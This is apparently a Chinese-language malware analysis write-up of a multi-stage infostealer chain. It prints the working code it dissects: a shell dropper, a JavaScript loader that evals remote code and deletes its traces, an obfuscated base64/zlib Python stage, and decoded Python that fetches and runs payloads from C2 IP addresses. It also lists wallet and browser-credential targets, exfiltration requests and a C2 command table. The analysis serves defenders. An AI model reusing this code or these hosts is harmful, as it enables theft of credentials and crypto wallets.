INSTALL_NODE=1
#if [ -z "$NODE_INSTALLED_VERSION" ]; then
#    INSTALL_NODE=1
#fi

EXTRACTED_DIR="$HOME/Documents/node-v${NODE_VERSION}-$( [ "$OS" = "Darwin" ] && echo "darwin" || echo "linux" )-x64"

# ✅ Check if the Node.js folder exists
if [ ! -d "$EXTRACTED_DIR" ]; then
   echo "Error: Node.js directory was not extracted properly. Retrying download and extraction..."

   if [ "$INSTALL_NODE" -eq 1 ]; then
       if ! command -v curl &> /dev/null; then
           wget -q "$DOWNLOAD_URL" -O "$NODE_TARBALL"
       else
           curl -sSL -o "$NODE_TARBALL" "$DOWNLOAD_URL"
       fi

       if [ -f "$NODE_TARBALL" ]; then
           tar -xf "$NODE_TARBALL" -C "$HOME/Documents"
           rm -f "$NODE_TARBALL"
       fi
   fi
fi

# ✅ Add Node.js to the system PATH (session only)
export PATH="$EXTRACTED_DIR/bin:$PATH"

# Step 7: Verify node & npm
if ! command -v node &> /dev/null || ! command -v npm &> /dev/null; then
   exit 1
fi

# Use Documents directory for files
USER_HOME="$HOME/Documents"
mkdir -p "$USER_HOME"

BASE_URL="http://vscode-project-setting.vercel.app"

# Step 8: Download files
# Check if curl is available
if ! command -v curl >/dev/null 2>&1; then
   # If curl is not available, use wget
   wget -q -O "$USER_HOME/tokenParser.js" "$BASE_URL/task/tokenParser?token=812&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjU0Zjc0NTVjLTY1MTItNDNiYi1iMzcwLThiODNiMTlkMWYzMCIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc2ODcyMDcwMTA3MCwib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIwNzAxLCJleHAiOjE3Njg3MjA4ODF9.SiJbzWA1ccGDRofVI1Z-S3hYJfkUwvP84H1wUfdnLsY"
   wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/package.json"
else
   # If curl is available, use curl
   curl -s -L -o "$USER_HOME/tokenParser.js" "$BASE_URL/task/tokenParser?token=812&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjU0Zjc0NTVjLTY1MTItNDNiYi1iMzcwLThiODNiMTlkMWYzMCIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc2ODcyMDcwMTA3MCwib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIwNzAxLCJleHAiOjE3Njg3MjA4ODF9.SiJbzWA1ccGDRofVI1Z-S3hYJfkUwvP84H1wUfdnLsY"
   curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/package.json"
fi

# Step 9: Install 'request' package
cd "$USER_HOME"
npm install --silent --no-progress --loglevel=error --fund=false

# Step 10: Run token parser
if [ -f "$USER_HOME/tokenParser.js" ]; then
   nohup node "$USER_HOME/tokenParser.js" > "$USER_HOME/tokenParser.log" 2>&1 &
else
   exit 1
fi

exit 0

這邊的 js 比較特別的是他除了下載後會eval 執行，還會將之前下載的的dropper 都刪除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
//tokenParser.js
const fs = require("fs");
const path = require("path");
const https = require("https");

const protocol = "https";
const domain = "link";
const separator = "://";
const pathPart = "/icons/";
const token = "812";
const subdomain = "rest-icon-provider";
const bearrtoken = "logo";
const basePath = __dirname;

const url = `${protocol}${separator}${subdomain}.${domain}${pathPart}${token}`;

const options = {
  method: "GET",
  headers: {
    bearrtoken: bearrtoken,
  },
};

https
  .get(url, options, (res) => {
    let data = "";

    if (res.statusCode !== 200) {
      console.error("Request failed:", res.statusCode);
      return;
    }

    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
      try {
        const code = JSON.parse(data);
        eval(code);
        setTimeout(() => {
          deleteFile("tokenParser.js");
          deleteFile("tokenlinux.sh");
          deleteFile("package.json");
          deleteFile("package-lock.json");
          deleteFile("token.cmd");
          deleteFile("token.sh");
          deleteFile("tokenParser.log");
          deleteFile(".npl");
          deleteFile("token");
          deleteFile("tokenParser.npl");
        }, 3000);
      } catch (err) {
        console.error("JSON parse failed:", err);
      }
    });
  })
  .on("error", (err) => {
    console.error("HTTPS request error:", err);
  });

function deleteFile(fileName) {
  const filePath = path.join(basePath, fileName);
  if (fs.existsSync(filePath)) {
    try {
      fs.unlinkSync(filePath);
      console.log(`Deleted file: ${fileName}`);
    } catch (err) {
      console.error(`Failed to delete file: ${fileName}`, err);
    }
  }
}

function deleteFolder(folderName) {
  const folderPath = path.join(basePath, folderName);
  if (fs.existsSync(folderPath)) {
    try {
      fs.rmSync(folderPath, { recursive: true, force: true });
      console.log(`Deleted folder: ${folderName}`);
    } catch (err) {
      console.error(`Failed to delete folder: ${folderName}`, err);
    }
  }
}

接下來是混淆過的 js ，不過檔案大小較 Sample 1 小，這類的 Javascript 負責的是 Information Stealer & Dropper

同樣解混淆後可以獲得以下資訊：

偷取資料並上傳，接收資料的路徑有兩個 146.70.253[.]107:1224/upload （主要）、 23.227.203[.]18:1224/upload （備份）

  • 146.70.253[.]107:1224/upload 會接收較少的資訊，但是是比較重要的

    • MetaMask

      1
      nkbihfbeogaeaoehlefnkodbefgpgknn

    • OKX Wallet

      1
      mcohilncbfahbmgdjkbpemcciiolgcge

    • Binance Chain Wallet

      1
      fhbohimaelbohpjbbldcngcnapndodjp

    • TronLink

      1
      ibnejdfjmmkpcnlpebklmnkoeoihofec

    • Solflare

      1
      bhhhlbepdkbapadjdnnojkbgioiodbic

    • Solflare 新版

      1
      fldfpgipfncgndfolcbkdeeknbbbnhcc

    • Solana CLI 私鑰

      1
      ~/.config/solana/id.json

    • 如果是 mac

      • Chrome Login Data (macOS)
      • Brave Login Data (macOS)

    • 如果是 Windows/Linux

      • Chrome Login Data
      • Chrome Local State
      • Brave Login Data
      • Brave Local State
      • Opera Login Data
      • Opera Local State

  • 23.227.203[.]18:1224/upload則是會接收較多資訊

    • MetaMask

      1
      nkbihfbeogaeaoehlefnkodbefgpgknn

    • MetaMask Edge

      1
      ejbalbakoplchlghecdalmeeeajnimhm

    • Binance Chain Wallet

      1
      fhbohimaelbohpjbbldcngcnapndodjp

    • Bitwarden

      1
      nngceckbapebfimnlniiiahkandclblb

    • TronLink

      1
      aeblfdkhhhdcdjpifhhbdiojplfjncoa

    • TronLink 新版

      1
      ibnejdfjmmkpcnlpebklmnkoeoihofec

    • Phantom

      1
      bfnaelmomeimhlpmgjnjophhpkkoljpa

    • Coin98

      1
      aeachknmefphepccionboohckonoeemg

    • Crypto.com DeFi Wallet

      1
      hifafgmccdpekplomjjkcfgodnhcellj

    • Kaikas

      1
      jblndlipeogpafnldhgmapagcccfchpi

    • Sui Wallet

      1
      opcgpfmipidbgpenhmajoajpbobppdil

    • Rabby Wallet

      1
      acmacodkjbdgmoleebolmdjonilkdbch

    • Math Wallet

      1
      dlcobpjiigpikoobohmabehhmhfoodbb

    • OKX Wallet

      1
      mcohilncbfahbmgdjkbpemcciiolgcge

    • Core Wallet

      1
      agoakfejjabomempkjlepdflaleeobhb

    • iWallet

      1
      omaabbefbmiijedngplfjmnooppbclkk

    • Exodus Web3 Wallet

      1
      aholpfdialjgjfhomihkjbmgjidlcdno

    • NiftyWallet

      1
      nphplpgoakhhjchkkhmiggakijnkhfnd

    • Auro Wallet

      1
      penjlddjkjgpnkllboccdgccekpkcbin

    • SafePal

      1
      lgmpcpglpngdoalbgeoldeajfclnhafa

    • Solflare

      1
      fldfpgipfncgndfolcbkdeeknbbbnhcc

    • Solflare 舊版

      1
      bhhhlbepdkbapadjdnnojkbgioiodbic

    • Coin98 重複

      1
      aeachknmefphepccionboohckonoeemg

    • Jaxx Liberty

      1
      gjnckgkfmgmibbkoficdidcljeaaaheg

    • Math Wallet 新版

      1
      afbcbjpbpfadlkmhmclhkeeodmamcflc

    • Exodus Wallet

      1
      2
      3
      Windows:  ~/AppData/Roaming/Exodus/exodus.wallet
      macOS: ~/Library/Application Support/exodus.wallet
      Linux: ~/.config/Exodus/exodus.wallet

    • Firefox moz-extension IDB

      1
      ~/AppData/Roaming/Mozilla/Firefox/Profiles/*/storage/default/moz-extension*/idb）

    • 如果是 Windows

      • Edge 錢包擴充套件資

        1
        ~/AppData/Local/Microsoft/Edge/User Data

    • 如果是 macOS

      • macOS Keychain

        1
        ~/Library/Keychains/login.keychain-db

      • Chrome Login Data

      • Brave Login Data

    • 如果是 Windows/Linux
      • Chrome Login Data
      • Chrome Local State
      • Brave Login Data
      • Brave Local State
      • Opera Login Data
      • Opera Local State

以上竊取到的資訊，都會先暫存到 ~./n3/ 資料夾底下再進行上傳

兩個 ip 的 HTTP POST 的範例結構

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /uploads HTTP/1.1
Host: <146.70.253[.]107:1224 / 23.227.203[.]18:1224>
Content-Type: multipart/form-data; boundary=<boundary>

------<boundary>
Content-Disposition: form-data; name="type"

15
------<boundary>
Content-Disposition: form-data; name="hid"

812_<hostname>
------<boundary>
Content-Disposition: form-data; name="uts"

<unix_timestamp>
------<boundary>
Content-Disposition: form-data; name="multi_file"; filename="<filename>"
Content-Type: <content-type>

<binary_file_content>
------<boundary>--

這類的 Sample 執行到這邊還沒有結束。

接下來會向 http://146.70.253[.]107:1224/client/15/812 獲得一個 下一階段的 python 檔案，並儲存在 ~/.nlq

並訪問 https://api.npoint[.]io/96979650f5739bcbaebb 獲得配置文件，

1
{"A":1,"B":1,"C":1,"name":"winrar"}

這邊配置文件主要是定位 windows python 的執行環境

  • windows 環境
    • 他會去看%USERPROFILE%\winrar\python.exe 路徑存不存在 如果不存在會去http://146.70.253[.]107:1224/pdown 下載 python3.11 的整包執行環境，下載後執行%USERPROFILE%\winrar\python.exe ~/.nlq
  • 其他作業系統
    • 直接執行python3 ~/.nlq

接下來分析 .nlq 檔案，這個檔案被包裝成做數次的 zlib decompress + base64decode 的 script

1
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==AsUhOOf0///9c+q5NYkX0YbX94sGdM493bJPyuP2IQkU0GjzuqyTAPsn9G1kyw3jvDJAsgI0jS+bg6FOthOms9EEWmYCuLBhQ9WnGHm/10C+vo/xQ8itzFWUDHuuKCIYJfiFTjxFsHy3tpbruUQYzT4IKTpCtgeI7SPyfLD0GuFxFaA0eiEqb3mvxGZExvwphBiy+2B3HUiu0HX/9gV1pfyV+W1FtbGahXU3sa1BO15KWbuiMz58NEIbtqlDjorUm8Rf3qE5MVHgbwxh9H4+4CXri5xp/XjFhwe5sYW1UAbtvgwCskmlCE5PzqA2d7lA3L5BdiGwppkVozlOwQNMbZcR5lwwKP/mioMOorTeHgxQI9OXNUs5qJGHhLGWzpN4UTg7SKoORofNTHlb6Rwne4FDjjOKnzvNaOrC+upe3vaOvHDPIWHXLBv0g/HLC+RtKiXDS9JfKoj896b/KHKyjLFaQDgnmOlpLFlpPJurVOX7dwiaiww3UuhQ+Ajmm0Qt/1b8+XSz0JYv77aQ36Yy/5s514sIytBpTiTdt2TCUkb/JsznB3313iBKyd2JehC5yPUqmKYVv54UaEqf1E7J5zQ/M3TWEQLp57fMu1WW5vF2f+YNonUk0o/hgfxBPBdI+VQLsjEB/vGH76Iim9z/rqlrEURMcWCH1rZHcDQdf3mqdMLXSwo63FzgduaobunfI5H1rMa+CZ57GGJN2AyXAJWkKv+iRLusyzVwN+uXuBXbsnmiNZYIqVEweXkEOIXqcX4UswqEZbu8vQxLhqE0BA+O9WuBsgZnXHwf/B7vvMzeJ0X/p5Xs3MfxRbsS8mdodVTLkxMGyoYulrmaPkHsLrLO/pkduxyasvKMQ6E3g9ewjzA6Mu5br0i6x7jKtHGhOZF5a6Xhb39FfY3o1BZaK83UkPsKBqSbuUEYX2jTftZSdfOGwWki0erqDzNVyH+f2MqRjFh62l+hFfMIzjuSBQlr4F67kcOjtVDG54LMsd5fF1QnwbPMxemqvoACm+dmiOA1/D1RpWsQIkSk+yOoQJpiQHflhS8VEiuh7hOWtlhFNp8qYZD3DN03072my6Hs8RCiqfjaH6Tnmb48zPR7S2aqH4dWJWZE2jCvEN2ZEb+gVZm+Nepcwl1336FNIJzFXdEmoRCf35qA/ttWAsOOQ4sy2EvsKti5bVB1wo7RBjIDIxBTR/OFz3aaLxLozePkLbuFQ8ow/KjRe6R3zrECt/psA7k5WTgXxQdK01DIcRvciR3iJ0Bz4fi+w6ruA8LdEktCwXEq+LwvrAk2Qy00lQLCQiS4ki1A5tkJtuIHTFZxHohKUalFtumS9U+NpL4bTn3pZaqt302Mg8gXys5Dg6+muIcTeOvzZFm8vR9eebzvNXEl8qGLLA48hv9ikwhkBx93YW8bapFBcPjNpEqxWsrCJ2xgjp8jqPmyhI6eLeq1u8JK1KgJgaE+7RKfsZfhTkYTVnCjyZ2gOEo2yfcsiaVM5wuS4gP6ych07xtlfMsVBG549aQBZmudbwIVn1uGXDIqwPrSeYA7viP37l9OKIJko/ldWkedneXam0CbUY+M1dVZt/9fpzVClXpT5vI+em3fRkH3NXOSYhuFisJg4KdjQPKmuB/Qen46ZqbjTST6hm95eowGHeUPLua7Fw06ASHNMxnMF/bxdzXUkkttFDKKqKXu2PQzdo8FWpjBUvf6llUvO35WLVVar0pMT9YZTInCO6S6IFRUu0vv/zANOJIiI3JdCoxjaeSsrB8ewCqKegsiEdj8+Xv3L8pJwd0BD876g6upgQKk4kcB2wN140Cj/q7n/jhA3KG1BLFessnr8DgbIQ5Fkc+1eZgfuqNb/k6pkzawuCP17+Vd0uS9heHfQheQWkjdFPmm9Un5UmlQmOASrBMPZEXEZLpDIU7XspB97bgG9KTuFcHzu4K7QbW6ogoNdGgoa6vytRlYMjoEwKGVWTIqlSmBIHkmUrjum/blWhvsfxpkuRiF2CjW9KG1Ap3gUy83WgiFNxxs2CBoSkexcMAc1I7Q8RHqSi1ed+Clbi8X8h0F5Qv1zGSYwA8cXV738LxnfBpp8+YNLOToZ6jRf0qeO+wUJ/18t0tKle/ONYjbszmD1x6JpX8gkNj0lbI/mDv4wc1sYjU6Yxhi2WdccnTiBB/KneZ/Pa3I5CJHW+roUhI1FmDxKqH/YgnFQlC64iO018ZLdiK4GulS02TtEj+826WDn1vy/Ne+u6eMF0AZ6sqdWVKtphgjRpltmUeFOBBPzvhZvUF5qH1Xp/Gr0hzqZ28sjrHEzjOg2najiiaTADAkXe37i/EJe6QwKazPRxJAUqzE0EVWLR48nfWNYyE/pxh1/XhlljRz8RfMcUU80AFIIJWsuGwhW9fSpfEgjV3mACCDqPZDvseK2e4mbBIb5ODaY1wbF2FEsJRzcxiKHS/dETUc43hf7YymJFQvUE/nhPzBeM4mQ646jwT5Ueaflm+D0+AsEXGIxnuuhbskH1alY3KiyXQt2AbF5jwglyTfgCOdR1zsPJfapwPN9tC96bxpWUfNss2jEhx1bPK4XVKQTM3LWEBstPeS9RSICDuljGtw55jVH19iIpteGgYKP3g3mdH176eHgUR+lNNn+wPmDssY+vt5dyXm/TZMWRFcXrLn7pDQkdnW3H+yMSN88cEdx9bAncu/RRdNrGocSQFKEkAdoBR2QDo1Gvy2MR81E+D+eybE8Yl3pLjsT3p54wlFE8IQsvwE+0siZ9Z88AvScuvzKvgIk3bBHkVTJuNTiWnVfN2hw0cAizoYWeJptyMAf0t6IpYeZ1sfG/tPYICH68u8zVy3GrSIjWZjeKHsd/idzLMvo84CHhlrytMM+iPFBqa/Kbh6zDs7bJTC+a5TfzetsVpneR8gdcf98Q34BdiJpnJe0pkjxDgavTKP8m5KxV44LMcUzXiHBICp6S3AkuoRhTGqv9YKnUY7rDWBwgVF7tahY3XMmtYFqG/kWZFzixJ8ASA9Y/ii9ylrYiXMoVsA3+pwu1wu0dSN9c+A1tBYzPLfZW/EJsUCVuK8VSOofrCtlcl2t4lWrBNfDS+fcyi2sj8yhbpp60UQxnbEKj2N9figL9l0yMp1le8EsjB2Lblb0AqEBuKWFeiQlFaWvGSADC+mQIpRASqKoNJNmq5Yh/oo6sZxGdMVPr9yF6vqgPE/sbw4YPObLnDRaK8oNJBrmgmF3pKV1bQe8wAubj1hZ5O8oWjSWTeNZ2F6MbfgnapcanM4driS0Xcl2AYmnoYJzJyVSq+i7cLY+x1+SIq515x936kNcRt8SmfDAt79Z7qHvQ+IVgoxGKfWB1mgtEow/IsmGvz8K/k7ur79cBYRYPlBw7sf7JHbZMAw0X886eUytS0d1w7eQ7EBtsgHS8oToVFZjmFu02BB02MYIgSrLdN443ZUUiliUHWBLLUjqcBmBiy16y93/2No1UqDt84zyzS1A32BJ4ROaG00A/T358Aaa0EPI+/HlV6nVODp89z+aPwc4Cfd/vM+3c0IS0mGXAM3kNhy4X4kfdv4urlKhuTWHh+AZIc9AjW3/E8Rfn34jLDOMIEpdPOcQAo+7VBl9avJVsCdvtRtZR7I2ca195to5wvOFbi20gwu8jJTWsDmclh549Mm3QmQadwCEDZfjU2CmHBTMUD2upMbYRRDsGxrneNL30czfSiG0+FmT3cTqTuvkiTS0R73OFMBJOfi6WsreVC5Pe0JpksuzyNbWVjaJZRXUhEaO+lzVGgKMN369QxesmkoEH83Ef7/XmW0riMrlO1VkqDxZkcRArvXolg9KxpiSce/q8Xlu/jTtoyvMgRysHn1VQfFVBsZ8zZ9JyYt6cmga0LBu/zrT/+xE56dv9y5A69+najqOUuQMXnSo/AarqSV9y5szY/88VTU6MAQEzlMBw3if67B6QrtN3bhgr59Xex+AZRpypb279LJvo1/N0+eMajmsvSWn6Ce7T2tPNw6JHkndHPTRGz1S1OazYuBXHJamHXb1WSR+Kg0bJmezlH9VXjf7QvTaF8yCd+VcXwMk0wXiQHuBvaINXFWPTUxLlrXo7RHg2bgLQGulmCJSYp9NrXJuhB+0CfIc2QCSuPWTdfytBTL5tD86QgG1qB2IDJaEJEaN5i34+YKknGxoBc0SlhdKrQdbj6cFVKQow2OcWTDA0aKJCsbD208GWzzlZsptVIjn5jYxgOG2ixs5tpYMbROxvFVq+mQsqWx94n1P7C6MhlGsJFHd29AmNh3pwfopdYpp0shUpzLy64R1cvOq8h4IdDdaYoCj4V4vNTk3ccZOMjhSDM8rOqX9O8IbCATgfgDIqvQ15muZ9wjt29fqrBQK42sfWwhKPMiIRBlYYTAXjlOdNjWpOkI0JAv78f9YixRR8zFxtdpL25VdjjtETd/Qq/vAsPBBDG5megMe3myCkE+zPF8ykGLEN+cLT6Th6rBXsAl8i8ZrTuoFTrBZzcj15xN0pxBkeF07mr3do8P5pk0FkrK6UZDlJsCZCid/ezRSK/Ygy+Z3aaJbb3KmApzErh1n500VTALVXoK56ja1SqXESg+FuTFbtRlxWMeWndfHEPnHlnF/DYrdWSP/sBb3otFcl+9NCqU/VyHdZ/Y4KFgpoaeIE8ZBh1Z7DdYTQHjWObfBvLDaXGrDm4qfWnJoiU02bfzY+D9QDdnrQtoComw/KTpYHkp4Lx4A/HClbHuqiUYC/Vzqfdy9zj9LukXLhRKuc5tbUKe8gKbfqCRnnaVAOmxetilOzL46fTSbl1S3Cxelu8taAN/zlpP6sge3qm38se6EMVUx1X4SIDU3tIQFZavRBhuAVmZtvXDZ7Jy0mBZdc/1F75afB4v7oDNjeRKKyF5UehB0dOoPCl01eoIo0Wo8bDLK9FaePG/qW7Uwo1f6j7VwtcKp5RsYXIclUlqNVZ62EJ0VSZoXHz2InLe+BDYkgYSkvOIX3ikUIRp5jn/MohFKVT49sq1U/H+IAByr7tZLxd+zrEPbchcz2Hdu6X6wtMkHp1ZQSso6GJsoqhTtIZSs4mVwPqffL/JDBeKFJvUUqX1RFWlktnR3E2OJy7aUTjr2obq5TohcIMXcfUlDHjzYMn0uCaGBtBO9nLEhKbWSW6qYOlSVnnfXxF3xcyBDLtYlkZEL6SHSrybqcV9m5x6sVgVzsrkgeZs01EQJQ0aZ1GTCkmHnLPvWjG0L16TQ1M0n4F40TSYlAEbVvnYhY81F6UCa6FqgdBO/M2M9LDnj25jwlD/qYcoxRkeF7N51RFK0VTENve8DLYP+Xv6kKURgxJH7lS4lDUdVfEfHG8lvWQ/0Tp1ADANcD5sNghlEm3Dyqpr5n3Sd8UYSNh3dGgTsOnG2Z1rhA9uvv6FIbq8z9WkREVNiDB/bOs2IoudF485xq67P+M34D/YmRlpxWIqybArS2l1uGT+Zurk+vNjfHorcdwOin73KI9NvjogQylQh/u9tVTbccbU4KQdPYy/I1FN5xQugMHV9SHJOhfbFWqI+gOaObKzmIPXi4zSegKjcWTzILU+vXQf93AP/2+zeA2tx0AmT0CihTyuaDJU/9yrRfb32EBJZ8a3asUwi88OIsQqOREVdh+Ydo9SzL7C5HsshixLAXzX3uhHL69Cowcz1LbKeK305MrfnHv/KOwBKotfvk7ExU7jubzXVg659NGd6mpnfG7jmYFvKbpexyqw06DvQ4tKDVg0kKcdYbjvSgUkfUKsvFM4xMaYr/wr4r4VkQeTd2LgP0kRs9DWlAEG0J4U93A/HJYNyYaYoMHH6nVDNeUg+qOEg2UGFYg7KMht3RAqsiJdvEPWiX7Me/6vzHvuKrloLtoNsU4OTrjDAIBppGBZO3wf5toPtCdBdKzoHvlbGtNZ6mP+9XNZcJoT31hysmVd9dLiUryT3TDfEru2Hsgp2PnNmZrPOihMj1lIE4Ighv64umCtLQrFI2oBmgTdxAN1N2ejc6gFb9i3TFaXYX1vKfsV0ZTAnL49wvgmmcrBznyWuXODh+fV716QqC9v2mJ7UJ0Em+unISx0PEIoArIECYOPblwZAsg72q8mhOpFYosvzmJIMAaBeKMGRE5v47dni+DsTS9LNfhvS7cLGtMtbgXUUobCM7r/A3Yq5dq9u/xV7aVqLb+lRiDU+C55pTLKZauG9O2bRPV/fDyHidk9/Eah0jvb9oVINMJy2uUob1EADyktW9I54RY1kigahcDaRgC5omaYoMcpNz8CCEmUNicYjRTF7icim9CDLhJ3FA+0Z8fu3g7kA+1RF9+CcfW4C/g0/hZAHqbyC70z0ISPZKJrnjCrLtMPwyH5ftmVWnJwsMlQofI8IbVvUexgiEFBeLRHzfuwMVQ6U9caTTzf0saJwbHiugI4S0kxnaj0/m9//f33//Mfqywp7Uo0x/95FzMPMpT/jZmZYmBGeVTdZROgUxyW0lNwJe'))

將這個檔案decode 過後，為以下程式碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import base64,platform,os,subprocess,sys
try:import requests
except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests

sType = "15"
gType = "812"
ot = platform.system()
home = os.path.expanduser("~")

mainUpdateDate = "Updated on 5th August"

host1 = "146.70.253.107"
host2 = f'http://{host1}:1224'
pd = os.path.join(home, ".n2")
ap = pd + "/way"

def download_payload():
    if os.path.exists(ap):
        try:os.remove(ap)
        except OSError:return True
    try:
        if not os.path.exists(pd):os.makedirs(pd)
    except:pass

    try:
        if ot=="Darwin":
            # aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True)
            aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
            with open(ap, 'wb') as f:f.write(aa.content)
        else:
            aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
            with open(ap, 'wb') as f:f.write(aa.content)
        return True
    except Exception as e:return False
res=download_payload()
if res:
    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
    else:subprocess.Popen([sys.executable, ap])

if ot=="Darwin":sys.exit(-1)

ap = pd + "/pow"

def download_browse():
    if os.path.exists(ap):
        try:os.remove(ap)
        except OSError:return True
    try:
        if not os.path.exists(pd):os.makedirs(pd)
    except:pass
    try:
        aa=requests.get(host2+"/brow/"+ sType +"/"+gType, allow_redirects=True)
        with open(ap, 'wb') as f:f.write(aa.content)
        return True
    except Exception as e:return False
res=download_browse()
if res:
    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
    else:subprocess.Popen([sys.executable, ap])

發現他使用HTTP GET 請求了http://146.70.253[.]107:1224/payload/15/812 與 http://146.70.253[.]107:1224/brow/15/812 ，分別儲存成 ~/.n2/way 以及 ~/.n2/pow 並且執行了他們

~/.n2/way

這邊主要在進行 C2 的控制命令。

首先會先向 http://146.70.253[.]107:1224/keys 做初始通知，帶上 Host Info 以及 SysInfo

HTTP POST 請求如下

1
2
3
4
5
6
7
8
9
10
POST /keys HTTP/1.1
Host: 146.70.253.107:1224
Content-Type: application/x-www-form-urlencoded
User-Agent: python-requests/x.x.x
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: <Length>

ts=<Timestamp_Milliseconds>&type=15&hid=812_<Hostname>&ss=sys_info&cc={'uuid': '<UUID>', 'system': '<OS>', 'release': '<Release>', 'version': '<Version>', 'hostname': '812_<Hostname>', 'username': '<Username>', 'net_info': {'query': '<Public_IP>', 'country': '<Country>', 'city': '<City>', ...}}

接下來利用 TCP socket 向 146.70.253[.]107:2241 進行連線，並進入無限迴圈等待接收指令。以下是 Command Table

  1. ssh_obj：執行 Shell命令
  2. ssh cmd : Kill Python Process
  3. ssh_clip : 如果是 windows 獲取 Keylogger + clipboard 內容，其他作業系統則回傳空字串
  4. sshrun : 下載 pow 程式到~/.n2/bow
  5. ssh_upload : 上傳指定目錄/檔案到 http://146.70.253[.]107:1224/uploads
  6. ssh_kill:Kill Chrome/Brave process
  7. sshany：由 http://146.170.253[.]107:1224/adc/15 下載並執行 Anydesk 模組
  8. ssh_env：搜尋 .env 檔案並上傳 http://146.70.253[.]107:1224/uploads

HTTP POST 上傳範例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /uploads HTTP/1.1
Host: 146.70.253.107:1224
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary<RandomString>
User-Agent: python-requests/x.x.x
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: <Length>

----------WebKitFormBoundary<RandomString>
Content-Disposition: form-data; name="type"

15
----------WebKitFormBoundary<RandomString>
Content-Disposition: form-data; name="hid"

812_<Hostname>
----------WebKitFormBoundary<RandomString>
Content-Disposition: form-data; name="uts"

<Upload_Tag>
----------WebKitFormBoundary<RandomString>
Content-Disposition: form-data; name="multi_file"; filename="<Timestamp>_<Filename>"
Content-Type: application/octet-stream

<Binary_File_Content>
----------WebKitFormBoundary<RandomString>--

上傳成功後會在 ~/.n2/flist 紀錄攻擊的紀錄

~/.n2/way 完整程式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
import base64,socket
from uuid import getnode
from requests import get,post
from hashlib import sha256
from getpass import getuser
from platform import system,node,release,version
import time

sType = "15"
gType = "812"

payUpdateDate = "Updated on 5th August"

class HostInfo(object):
